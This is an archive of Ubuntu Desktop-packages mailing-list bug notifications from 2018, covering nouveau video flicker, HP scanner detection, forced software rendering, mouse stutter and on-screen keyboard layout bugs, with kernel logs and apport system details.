Michael Schmitz: 1) To clarify, you tested the 64-bit variant (not 32-bit)? 2) Is using the nv driver still a usable WORKAROUND? ** Description changed: Binary package hint: xserver-xorg-video-nouveau Expectation: Default Xorg driver should work with no video artifacts. Observation: Bad screen flicker with default Xorg driver. Details: I installed the 10.04 beta from CD on Wednesday (incidentially, compliments for the smooth install). Already upon installation, the display did flicker badly whenever the CD was read or even the mouse moved. Flicker did already start at the initial splash screen. The system was fully responsive otherwise. On reboot post-installation, gdm came up OK but with the same flicker problems. The 'Monitors' control panel only offered the 2048x1536 resolution at 80 Hz with no other options. Tried to install and use one of the non-free nvidia drivers, this failed because the nouveau kernel module was loaded always and could not be unloaded (drm loads nouveau before framebuffer console init. as near as I can make out). With nvidia-current unable to load, - the X server could not use the 'nvidia' driver. Switching xorg.conf to - use the 'nv' driver results in a much better screen display (only - occasional flicker) although the driver only supports 2048x1536 at 60 - Hz. 1600x1200@85 Hz is useable. + the X server could not use the 'nvidia' driver. Kernel message buffer excerpt: [4.777915] [drm] Initialized drm 1.1.0 20060810 [4.807773] ACPI: PCI Interrupt Link [LMC9] enabled at IRQ 22 [4.807779] nouveau :00:0d.0: PCI INT A -> Link[LMC9] -> GSI 22 (level, low) -> IRQ 22 [4.807783] nouveau :00:0d.0: setting latency timer to 64 [4.809992] [drm] nouveau :00:0d.0: failed to evaluate _DSM: 5 [4.810217] [drm] nouveau :00:0d.0: Detected an NV40 generation card (0x04c000a2) [4.810513] [drm] nouveau :00:0d.0: Attempting to load BIOS image from PROM [4.810519] [drm] nouveau :00:0d.0: ... BIOS signature not found [4.810520] [drm] nouveau :00:0d.0: Attempting to load BIOS image from PRAMIN [4.854556] [drm] nouveau :00:0d.0: ... appears to be valid [4.854559] [drm] nouveau :00:0d.0: BIT BIOS found [4.854561] [drm] nouveau :00:0d.0: Bios version 05.61.32.28 [4.854563] [drm] nouveau :00:0d.0: BIT table 'd' not found [4.854565] [drm] nouveau :00:0d.0: Found Display Configuration Block version 3.0 [4.854568] [drm] nouveau :00:0d.0: DCB connector table: VHER 0x30 5 10 2 [4.854571] [drm] nouveau :00:0d.0: 0: 0x: type 0x00 idx 0 tag 0xff [4.854573] [drm] nouveau :00:0d.0: 1: 0x1131: type 0x31 idx 1 tag 0x07 [4.854575] [drm] nouveau :00:0d.0: 2: 0x0110: type 0x10 idx 1 tag 0xff [4.854577] [drm] nouveau :00:0d.0: 3: 0x0111: type 0x11 idx 1 tag 0xff [4.854579] [drm] nouveau :00:0d.0: 4: 0x0113: type 0x13 idx 1 tag 0xff [4.854581] [drm] nouveau :00:0d.0: Raw DCB entry 0: 01000310 0023 [4.854583] [drm] nouveau :00:0d.0: Raw DCB entry 1: 00110204 942b0003 [4.854588] [drm] nouveau :00:0d.0: Parsing VBIOS init table 0 at offset 0xD9C9 [4.854591] [drm] nouveau :00:0d.0: === misaligned reg 0x0060081D === [4.854648] [drm] nouveau :00:0d.0: === misaligned reg 0x0060081D === [4.854748] [drm] nouveau :00:0d.0: Parsing VBIOS init table 1 at offset 0xDB17 [4.854749] [drm] nouveau :00:0d.0: Parsing VBIOS init table 2 at offset 0xDB18 [4.854799] [drm] nouveau :00:0d.0: Parsing VBIOS init table 3 at offset 0xDC9A [4.854803] [drm] nouveau :00:0d.0: Parsing VBIOS init table 4 at offset 0xDCE3 [4.861274] lp0: using parport0 (interrupt-driven). [4.865006] [TTM] Zone kernel: Available graphics memory: 444292 kiB. [4.865009] [TTM] Zone highmem: Available graphics memory: 448232 kiB. [4.865018] [drm] nouveau :00:0d.0: 128 MiB VRAM [4.865912] [drm] nouveau :00:0d.0: 64 MiB GART (aperture) [4.868624] [drm] nouveau :00:0d.0: Allocating FIFO number 0 [4.868891] [drm] nouveau :00:0d.0: nouveau_channel_alloc: initialised FIFO 0 [4.868896] [drm] nouveau :00:0d.0: Initial CRTC_OWNER is 0 [4.868901] [drm] nouveau :00:0d.0: Saving VGA fonts [4.908706] [drm] nouveau :00:0d.0: DCB type 4 not known [4.908710] [drm] nouveau :00:0d.0: Detected a VGA connector [4.909936] [drm] nouveau :00:0d.0: Setting dpms mode 3 on vga encoder (output 0) [5.037394] [drm] nouveau :00:0d.0: allocated 2048x1536 fb: 0x49000, bo f67bb400 [5.037515] fb0: nouveaufb frame buffer device [5.037517] registered panic notifier [5.037523] [drm] Initialized nouveau 0.0.15 20090420 for :00:0d.0 on minor 0 [5.037985] ACPI: PCI Interrupt Lin
Re: [Desktop-packages] [Bug 549256] Re: [GeForce 7025 / nForce 630a] video flicker on any I/O activity with nouveau; OK with nv driver
Hi Christopher, still the same problem as before. Cheers, Michael Am 18.05.2018 um 16:58 schrieb Christopher M. Penalver: > Michael Schmitz, to confirm this is still a problem in Ubuntu, could you > please test http://cdimage.ubuntu.com/daily-live/current/ and advise to > the results? > > ** Project changed: nouveau => xserver-xorg-video-nouveau (Ubuntu) > > ** Changed in: xserver-xorg-video-nouveau (Ubuntu) >Status: New => Incomplete > > ** Changed in: xserver-xorg-video-nouveau (Ubuntu) >Importance: Undecided => Low > > ** Tags removed: needs-apport-collect > -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xserver-xorg-video-nouveau in Ubuntu. https://bugs.launchpad.net/bugs/549256 Title: [GeForce 7025 / nForce 630a] video flicker on any I/O activity with nouveau; OK with nv driver Status in xserver-xorg-video-nouveau package in Ubuntu: Incomplete Bug description: Binary package hint: xserver-xorg-video-nouveau Expectation: Default Xorg driver should work with no video artifacts. Observation: Bad screen flicker with default Xorg driver. Details: I installed the 10.04 beta from CD on Wednesday (incidentially, compliments for the smooth install). Already upon installation, the display did flicker badly whenever the CD was read or even the mouse moved. Flicker did already start at the initial splash screen. The system was fully responsive otherwise. On reboot post-installation, gdm came up OK but with the same flicker problems. The 'Monitors' control panel only offered the 2048x1536 resolution at 80 Hz with no other options. Tried to install and use one of the non- free nvidia drivers, this failed because the nouveau kernel module was loaded always and could not be unloaded (drm loads nouveau before framebuffer console init. as near as I can make out). With nvidia- current unable to load, the X server could not use the 'nvidia' driver. Switching xorg.conf to use the 'nv' driver results in a much better screen display (only occasional flicker) although the driver only supports 2048x1536 at 60 Hz. 1600x1200@85 Hz is useable. Kernel message buffer excerpt: [4.777915] [drm] Initialized drm 1.1.0 20060810 [4.807773] ACPI: PCI Interrupt Link [LMC9] enabled at IRQ 22 [4.807779] nouveau :00:0d.0: PCI INT A -> Link[LMC9] -> GSI 22 (level, low) -> IRQ 22 [4.807783] nouveau :00:0d.0: setting latency timer to 64 [4.809992] [drm] nouveau :00:0d.0: failed to evaluate _DSM: 5 [4.810217] [drm] nouveau :00:0d.0: Detected an NV40 generation card (0x04c000a2) [4.810513] [drm] nouveau :00:0d.0: Attempting to load BIOS image from PROM [4.810519] [drm] nouveau :00:0d.0: ... BIOS signature not found [4.810520] [drm] nouveau :00:0d.0: Attempting to load BIOS image from PRAMIN [4.854556] [drm] nouveau :00:0d.0: ... appears to be valid [4.854559] [drm] nouveau :00:0d.0: BIT BIOS found [4.854561] [drm] nouveau :00:0d.0: Bios version 05.61.32.28 [4.854563] [drm] nouveau :00:0d.0: BIT table 'd' not found [4.854565] [drm] nouveau :00:0d.0: Found Display Configuration Block version 3.0 [4.854568] [drm] nouveau :00:0d.0: DCB connector table: VHER 0x30 5 10 2 [4.854571] [drm] nouveau :00:0d.0: 0: 0x: type 0x00 idx 0 tag 0xff [4.854573] [drm] nouveau :00:0d.0: 1: 0x1131: type 0x31 idx 1 tag 0x07 [4.854575] [drm] nouveau :00:0d.0: 2: 0x0110: type 0x10 idx 1 tag 0xff [4.854577] [drm] nouveau :00:0d.0: 3: 0x0111: type 0x11 idx 1 tag 0xff [4.854579] [drm] nouveau :00:0d.0: 4: 0x0113: type 0x13 idx 1 tag 0xff [4.854581] [drm] nouveau :00:0d.0: Raw DCB entry 0: 01000310 0023 [4.854583] [drm] nouveau :00:0d.0: Raw DCB entry 1: 00110204 942b0003 [4.854588] [drm] nouveau :00:0d.0: Parsing VBIOS init table 0 at offset 0xD9C9 [4.854591] [drm] nouveau :00:0d.0: === misaligned reg 0x0060081D === [4.854648] [drm] nouveau :00:0d.0: === misaligned reg 0x0060081D === [4.854748] [drm] nouveau :00:0d.0: Parsing VBIOS init table 1 at offset 0xDB17 [4.854749] [drm] nouveau :00:0d.0: Parsing VBIOS init table 2 at offset 0xDB18 [4.854799] [drm] nouveau :00:0d.0: Parsing VBIOS init table 3 at offset 0xDC9A [4.854803] [drm] nouveau :00:0d.0: Parsing VBIOS init table 4 at offset 0xDCE3 [4.861274] lp0: using parport0 (interrupt-driven). [4.865006] [TTM] Zone kernel: Available graphics memory: 444292 kiB. [4.865009] [TTM] Zone highmem: Available graphics memory: 448232 kiB. [4.865018] [drm] nouveau :00:0d.0: 128 MiB VRAM [4.865912] [drm] nouveau :00:0d.0: 64 MiB GART (aperture) [4.868624] [drm] nouveau :00:0d.0: Allocating FIFO number
[Desktop-packages] [Bug 1772348] Re: HP Laserjet M1212nf MFP also affected
This should probably be added to Bug# 1728012 ("Many 3rd party scanner
drivers are broken by a sane change")Many scanners Many scanners
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to sane-backends in Ubuntu.
https://bugs.launchpad.net/bugs/1772348
Title:
HP Laserjet M1212nf MFP also affected
Status in sane-backends package in Ubuntu:
New
Bug description:
Scanimage -L returns:
device `hpaio:/net/HP_LaserJet_Professional_M1212nf_MFP?zc=NPI6A5943' is a
Hewlett-Packard HP_LaserJet_Professional_M1212nf_MFP all-in-one
as it always has when it was working.
Had the same problem in the beginning with Ubuntu 17.04, but then
somewhere along the correction stream it got magically "fixed" and
started working with simple-scan as well as xsane.
Using a dual boot to the current version allowed by the ARCH
developers, the scanner has, and still does, work. I do a pacman -Syu
on ARCH at least once a week, so I can attest to the "current"
version of ARCH.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/sane-backends/+bug/1772348/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772348] Re: HP Laserjet M1212nf MFP also affected
Correction: ...I had the same problem with Ubuntu 17.10... -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to sane-backends in Ubuntu. https://bugs.launchpad.net/bugs/1772348 Title: HP Laserjet M1212nf MFP also affected Status in sane-backends package in Ubuntu: New Bug description: Scanimage -L returns: device `hpaio:/net/HP_LaserJet_Professional_M1212nf_MFP?zc=NPI6A5943' is a Hewlett-Packard HP_LaserJet_Professional_M1212nf_MFP all-in-one as it always has when it was working. Had the same problem in the beginning with Ubuntu 17.04, but then somewhere along the correction stream it got magically "fixed" and started working with simple-scan as well as xsane. Using a dual boot to the current version allowed by the ARCH developers, the scanner has, and still does, work. I do a pacman -Syu on ARCH at least once a week, so I can attest to the "current" version of ARCH. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/sane-backends/+bug/1772348/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772348] [NEW] HP Laserjet M1212nf MFP also affected
Public bug reported: Scanimage -L returns: device `hpaio:/net/HP_LaserJet_Professional_M1212nf_MFP?zc=NPI6A5943' is a Hewlett-Packard HP_LaserJet_Professional_M1212nf_MFP all-in-one as it always has when it was working. Had the same problem in the beginning with Ubuntu 17.04, but then somewhere along the correction stream it got magically "fixed" and started working with simple-scan as well as xsane. Using a dual boot to the current version allowed by the ARCH developers, the scanner has, and still does, work. I do a pacman -Syu on ARCH at least once a week, so I can attest to the "current" version of ARCH. ** Affects: sane-backends (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to sane-backends in Ubuntu. https://bugs.launchpad.net/bugs/1772348 Title: HP Laserjet M1212nf MFP also affected Status in sane-backends package in Ubuntu: New Bug description: Scanimage -L returns: device `hpaio:/net/HP_LaserJet_Professional_M1212nf_MFP?zc=NPI6A5943' is a Hewlett-Packard HP_LaserJet_Professional_M1212nf_MFP all-in-one as it always has when it was working. Had the same problem in the beginning with Ubuntu 17.04, but then somewhere along the correction stream it got magically "fixed" and started working with simple-scan as well as xsane. Using a dual boot to the current version allowed by the ARCH developers, the scanner has, and still does, work. I do a pacman -Syu on ARCH at least once a week, so I can attest to the "current" version of ARCH. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/sane-backends/+bug/1772348/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1770913] Re: Software rendering is forced after 18.04 upgrade (Intel Core 2 Duo P8600 / GMA 4500MHD)
How can I switch to Wayland? Contrary to the articles those tell otherwise, I have no option to select it on the login screen. Anyway, 17.10 worked fine with Wayland, so switching back to Wayland might probably help. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1770913 Title: Software rendering is forced after 18.04 upgrade (Intel Core 2 Duo P8600 / GMA 4500MHD) Status in mesa package in Ubuntu: New Status in xorg-server package in Ubuntu: New Bug description: After upgrading to Ubuntu 18.04, my desktop uses software rendering, no matter what I do. As far as I know, all necessary packages are installed. Formerly I had oibaf installed, but suspecting that this may cause the problem, I removed it with ppa-purge. It didn't help. First I noticed the problem when I tried to play HD videos. It was fine before the upgrade. My hardware is capable for 3D acceleration, as it worked on 17.10. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xserver-xorg-video-intel 2:2.99.917+git20171229-1 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 .tmp.unity_support_test.1: ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sun May 13 06:13:09 2018 DistUpgraded: 2018-05-12 22:26:52,663 DEBUG Running PostInstallScript: './xorg_fix_proprietary.py' DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller [8086:2a42] (rev 07) (prog-if 00 [VGA controller]) Subsystem: Lenovo Mobile 4 Series Chipset Integrated Graphics Controller [17aa:20e4] Subsystem: Lenovo Mobile 4 Series Chipset Integrated Graphics Controller [17aa:20e4] InstallationDate: Installed on 2014-06-10 (1432 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417) MachineType: LENOVO 6474B84 PccardctlIdent: Socket 0: no product info available PccardctlStatus: Socket 0: no card ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=hu_HU.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-20-generic root=/dev/mapper/thinkvg-rootlv ro rootflags=subvol=@ Renderer: Software SourcePackage: xserver-xorg-video-intel UpgradeStatus: Upgraded to bionic on 2018-05-12 (0 days ago) dmi.bios.date: 10/17/2012 dmi.bios.vendor: LENOVO dmi.bios.version: 7UET94WW (3.24 ) dmi.board.name: 6474B84 dmi.board.vendor: LENOVO dmi.board.version: Not Available dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Not Available dmi.modalias: dmi:bvnLENOVO:bvr7UET94WW(3.24):bd10/17/2012:svnLENOVO:pn6474B84:pvrThinkPadT400:rvnLENOVO:rn6474B84:rvrNotAvailable:cvnLENOVO:ct10:cvrNotAvailable: dmi.product.family: ThinkPad T400 dmi.product.name: 6474B84 dmi.product.version: ThinkPad T400 dmi.sys.vendor: LENOVO version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.0~rc5-1ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.0~rc5-1ubuntu1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 xserver.bootTime: Sun May 13 06:01:23 2018 xserver.configfile: default xserver.logfile: /var/log/Xorg.0.log xserver.version: 2:1.19.6-1ubuntu4 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1770913/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772271] Re: stuttering mouse movement after any shell window opens
Please also: 1. Run 'lspci -k' and attach the output here. 2. Run 'apport-collect 1772271' on the machine. ** Changed in: gnome-shell (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1772271 Title: stuttering mouse movement after any shell window opens Status in gnome-shell package in Ubuntu: Incomplete Bug description: mouse stutters when moving. This started after update from Ubuntu 16 to 18. Mouse is fine on initial boot, but after any shell window opens, the mouse then stutters in its movement. clicks work fine. almost looks like mouse is not getting its irq interrupts. Description: Ubuntu 18.04 LTS Release: 18.04 also getting this error: ~$ apport-bug gtk (apport-gtk:18122): Gtk-WARNING **: 11:21:15.632: Theme parsing error: gtk-main.css:73:38: Failed to import: Error opening file /usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or directory dpkg-query: no packages found matching gtk Gtk-Message: 11:21:20.142: GtkDialog mapped without a transient parent. This is discouraged. peter@peter-GeForce6100PM-M2:~$ apport-bug light-themes (apport-gtk:19203): Gtk-WARNING **: 11:29:01.986: Theme parsing error: gtk-main.css:73:38: Failed to import: Error opening file /usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or directory peter@peter-GeForce6100PM-M2:~$ (firefox:19566): Gtk-WARNING **: 11:30:11.449: Theme parsing error: gtk-main.css:73:38: Failed to import: Error opening file /usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or directory light-themes: Installed: 16.10+18.04.20180421.1-0ubuntu1 Candidate: 16.10+18.04.20180421.1-0ubuntu1 Version table: *** 16.10+18.04.20180421.1-0ubuntu1 500 500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages 500 http://us.archive.ubuntu.com/ubuntu bionic/main i386 Packages 100 /var/lib/dpkg/status ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: light-themes 16.10+18.04.20180421.1-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-20.21-lowlatency 4.15.17 Uname: Linux 4.15.0-20-lowlatency x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun May 20 11:29:02 2018 InstallationDate: Installed on 2015-10-24 (938 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) PackageArchitecture: all ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: ubuntu-themes UpgradeStatus: Upgraded to bionic on 2018-05-06 (14 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1772271/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772271] Re: stuttering mouse movement after any shell window opens
We're working on a few fixes in this area: https://trello.com/c/Q6JYXPPs In the meantime I suggest trying the normal Ubuntu kernel, not "lowlatency". In the past when I was investigating performance I found the unexpected problem of the "lowlatency" kernel actually being higher latency for graphics/input. Weird, I know. ** Tags added: performance ** Package changed: ubuntu-themes (Ubuntu) => gnome-shell (Ubuntu) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1772271 Title: stuttering mouse movement after any shell window opens Status in gnome-shell package in Ubuntu: Incomplete Bug description: mouse stutters when moving. This started after update from Ubuntu 16 to 18. Mouse is fine on initial boot, but after any shell window opens, the mouse then stutters in its movement. clicks work fine. almost looks like mouse is not getting its irq interrupts. Description: Ubuntu 18.04 LTS Release: 18.04 also getting this error: ~$ apport-bug gtk (apport-gtk:18122): Gtk-WARNING **: 11:21:15.632: Theme parsing error: gtk-main.css:73:38: Failed to import: Error opening file /usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or directory dpkg-query: no packages found matching gtk Gtk-Message: 11:21:20.142: GtkDialog mapped without a transient parent. This is discouraged. peter@peter-GeForce6100PM-M2:~$ apport-bug light-themes (apport-gtk:19203): Gtk-WARNING **: 11:29:01.986: Theme parsing error: gtk-main.css:73:38: Failed to import: Error opening file /usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or directory peter@peter-GeForce6100PM-M2:~$ (firefox:19566): Gtk-WARNING **: 11:30:11.449: Theme parsing error: gtk-main.css:73:38: Failed to import: Error opening file /usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or directory light-themes: Installed: 16.10+18.04.20180421.1-0ubuntu1 Candidate: 16.10+18.04.20180421.1-0ubuntu1 Version table: *** 16.10+18.04.20180421.1-0ubuntu1 500 500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages 500 http://us.archive.ubuntu.com/ubuntu bionic/main i386 Packages 100 /var/lib/dpkg/status ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: light-themes 16.10+18.04.20180421.1-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-20.21-lowlatency 4.15.17 Uname: Linux 4.15.0-20-lowlatency x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun May 20 11:29:02 2018 InstallationDate: Installed on 2015-10-24 (938 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) PackageArchitecture: all ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: ubuntu-themes UpgradeStatus: Upgraded to bionic on 2018-05-06 (14 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1772271/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772067] Re: on-screen keyboard layout is the wrong one and cannot change
Thank you for taking the time to report this bug and helping to make Ubuntu better. Please execute the following command only once, as it will automatically gather debugging information, in a terminal: apport-collect 1772067 When reporting bugs in the future please use apport by using 'ubuntu- bug' and the name of the package affected. You can learn more about this functionality at https://wiki.ubuntu.com/ReportingBugs. ** Tags added: osk ** Changed in: onboard (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to onboard in Ubuntu. https://bugs.launchpad.net/bugs/1772067 Title: on-screen keyboard layout is the wrong one and cannot change Status in onboard package in Ubuntu: Incomplete Bug description: What's wrong : The onscreen keyboard layout is set to qwerty even if another layout was selected during install. It is not possible to change the on-screen keyboard layout How to reproduce : on login screen, select user, enable the on-screen keyboard (osk), click on the password box, osk appears. It is in qwerty. Click on Flag, the flag popup appears with the registered layouts, raise the mouse towards the list : the on-screen keyboard disappears too soon to allow clicking. Get used to the on-screen keyboard layout and get fast, Click on Flag, click quickly on the popup to the desired layout : Nothing happens, keyboard layout remains the same. Version : 1.4.1-2ubuntu1 Information : I have two layouts in /etc/default/keyboard, none is in qwerty To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/onboard/+bug/1772067/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1770913] Re: Software rendering is forced after 18.04 upgrade (Intel Core 2 Duo P8600 / GMA 4500MHD)
This looks relevant. Xorg is saying: [ 2402.232] (II) AIGLX: Screen 0 is not DRI2 capable [ 2402.232] (EE) AIGLX: reverting to software rendering Are you able to log into Wayland sessions? ** Summary changed: - Software rendering is forced after 18.04 upgrade + Software rendering is forced after 18.04 upgrade (Intel Core 2 Duo P8600 / GMA 4500MHD) ** No longer affects: xorg (Ubuntu) ** No longer affects: xserver-xorg-video-intel (Ubuntu) ** Also affects: mesa (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xserver-xorg-video-intel in Ubuntu. https://bugs.launchpad.net/bugs/1770913 Title: Software rendering is forced after 18.04 upgrade (Intel Core 2 Duo P8600 / GMA 4500MHD) Status in mesa package in Ubuntu: New Status in xorg-server package in Ubuntu: New Bug description: After upgrading to Ubuntu 18.04, my desktop uses software rendering, no matter what I do. As far as I know, all necessary packages are installed. Formerly I had oibaf installed, but suspecting that this may cause the problem, I removed it with ppa-purge. It didn't help. First I noticed the problem when I tried to play HD videos. It was fine before the upgrade. My hardware is capable for 3D acceleration, as it worked on 17.10. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xserver-xorg-video-intel 2:2.99.917+git20171229-1 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 .tmp.unity_support_test.1: ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sun May 13 06:13:09 2018 DistUpgraded: 2018-05-12 22:26:52,663 DEBUG Running PostInstallScript: './xorg_fix_proprietary.py' DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller [8086:2a42] (rev 07) (prog-if 00 [VGA controller]) Subsystem: Lenovo Mobile 4 Series Chipset Integrated Graphics Controller [17aa:20e4] Subsystem: Lenovo Mobile 4 Series Chipset Integrated Graphics Controller [17aa:20e4] InstallationDate: Installed on 2014-06-10 (1432 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417) MachineType: LENOVO 6474B84 PccardctlIdent: Socket 0: no product info available PccardctlStatus: Socket 0: no card ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=hu_HU.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-20-generic root=/dev/mapper/thinkvg-rootlv ro rootflags=subvol=@ Renderer: Software SourcePackage: xserver-xorg-video-intel UpgradeStatus: Upgraded to bionic on 2018-05-12 (0 days ago) dmi.bios.date: 10/17/2012 dmi.bios.vendor: LENOVO dmi.bios.version: 7UET94WW (3.24 ) dmi.board.name: 6474B84 dmi.board.vendor: LENOVO dmi.board.version: Not Available dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Not Available dmi.modalias: dmi:bvnLENOVO:bvr7UET94WW(3.24):bd10/17/2012:svnLENOVO:pn6474B84:pvrThinkPadT400:rvnLENOVO:rn6474B84:rvrNotAvailable:cvnLENOVO:ct10:cvrNotAvailable: dmi.product.family: ThinkPad T400 dmi.product.name: 6474B84 dmi.product.version: ThinkPad T400 dmi.sys.vendor: LENOVO version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.0~rc5-1ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.0~rc5-1ubuntu1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 xserver.bootTime: Sun May 13 06:01:23 2018 xserver.configfile: default xserver.logfile: /var/log/Xorg.0.log xserver.version: 2:1.19.6-1ubuntu4 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1770913/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1767806] Re: Position of left-tiled windows not restored correctly when another left-tiled window present
